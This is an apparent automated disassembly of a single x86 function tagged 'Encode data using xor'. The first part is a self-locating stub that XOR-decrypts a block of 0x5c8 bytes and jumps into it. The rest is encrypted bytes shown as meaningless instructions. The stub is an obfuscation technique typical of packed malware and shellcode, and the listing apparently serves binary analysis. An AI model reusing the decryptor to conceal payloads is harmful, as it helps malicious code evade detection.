Function at 0x181bc3c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x181bc46
pushal
call 0x181bc4c
add byte [eax], al
pop ebp
sub ebp, 0x10
sub ebp, 0x141bc3c
mov al, byte [esp + 0x28]
cmp al, 1
je 0x181bc70
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x181bc79
mov eax, 0x141bc3c
add eax, ebp
add eax, 0x63
mov ecx, 0x5c8
mov edx, 0xbd2b0b68
add eax, 0x68ba0000
or ebp, dword [ebx]
mov ebp, 0x49401030
xor byte [eax], dl
inc eax
dec ecx
jne 0x181bc90
jmp 0x181bca3
jecxz 0x181bc4a
jecxz 0x181bc88
push esp
push 0xa9e96868
nop
push 0xa56b6868
shl byte [eax + 0x68], 1
push 0x6840d268
push 0x6b8a9f68
mov al, byte [0x6864e9e3]
push 0x38ad6b68
in eax, 0xc
dec esp
xchg esp, eax
loope 0x181bd3c
dec esp
add byte [eax + 0x687609], al
cmp esi, dword [edx]
dec ebx
imul ebp, dword [ecx + 0x44], 0x43d5004c
adc esi, dword [esi - 0x80]
insd dword es:[edi], dx
push 0x5c816868
push 0xce56868
dec esp
xchg esp, eax
loope 0x181bd37
dec esp
cmp al, 0x35
jecxz 0x181bce5
pushal
push 0xfde36868
push 0xe5e36868
js 0x181bd6e
push 0x6a81a968
pop ecx
push 0xffffffffffffffeb
stosb byte es:[edi], al
insb byte es:[edi], dx
and dword [edi - 0x13], esp
pushfd
xchg edi, eax
xchg edi, eax
xchg edi, eax
jecxz 0x181bd5d
dec esp
in eax, 0xc
dec esp
insb byte es:[edi], dx
stosb byte es:[edi], al
push 0x6c4ce4e3
push 0x80006868
or dword [esi + 0x68], esi
add byte [ebx], bh
xor cl, byte [ebx + 0x69]
imul eax, dword [esp + ecx*2 - 0x1b], 0xe1944c0c
dec esp
or al, 0x4c
dec esp
xchg esp, eax
loope 0x181bd9f
dec esp
sub byte [ebp + 0x68], 0x68
push 0x686a5181
push 0x944c0ce5
loope 0x181bd90
dec esp
cmp al, 0x35
xchg edi, eax
sbb eax, 0x601d9764
or byte [esi], 0x68
push 0x60d5e368
push 0xa15b6868
pop ebx
mov edx, 0x206d80eb
in al, dx
push 0xe0676868
and byte [eax + 0x68], ch
push 0x5174e30e
loopne 0x181bd91
push 0xe30e6868
je 0x181bdc9
call 0xede93e10
jb 0x181bde7
push 0x8193e868
in al, dx
jns 0x181bdf0
push 0x93e90e68
xchg edi, eax
dec ebp
in al, dx
in al, dx
jge 0x181bdfb
push 0xa4812968
xchg edi, eax
xchg edi, eax
xchg edi, eax
inc ecx
and al, 0x51
imul ebp, ebx, 0x80eb6da9
jmp 0x181bd4a
insb byte es:[edi], dx
adc ebp, 0x41979797
cmp al, 0x51
push 0xffffffffffffffeb
test eax, 0x6c82eb6e
jmp 0x181bd36
push 0x3e84e33d
aas
cmp eax, 0xe3641de3
adc eax, 0xe8da9460
loop 0x181be3f
jecxz 0x181bde0
pushal
xchg esp, eax
invalid
jmp 0x69ea2784
imul ebp, dword [eax + 0x68], 0xe96fe068
scasd eax, dword es:[edi]
push 0xafe96fe0
imul ebp, dword [eax + 0x68], 0x686ad368
push 0x68
push 0x67ba6a68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0x181bdab
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x181bdab
mov edx, 0x97b0eb67
jmp 0x181bda4
xchg edi, eax
xchg edi, eax
xchg edi, eax
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x181bdbe
mov edx, 0x6802eb67
push 0x6aa85b68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0x181bdd3
jmp 0x181be09
push 0xba6aa85b
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x181bdd3
push 0x7a2e7ee2
mov edx, 0x6942eb67
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x181bde6
jmp 0x181be5e
jnp 0x181bdd6
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x181bdf5
jnp 0x181bde5
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x181be04
jnp 0x181bdf4
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x181be13
jnp 0x181be03
in al, dx
outsb dx, byte [esi]
push 0xb7e36868
inc ebx
mov al, 0xe2
imul esp, eax, 0x6f
das
shr dword [edx + 0x68], cl
push 0x97188168
xchg edi, eax
xchg edi, eax
shr byte [ecx + 0x68], 1
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x181be40
jnp 0x181be30
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x181be4f
ljmp 0xab43:0x979797b6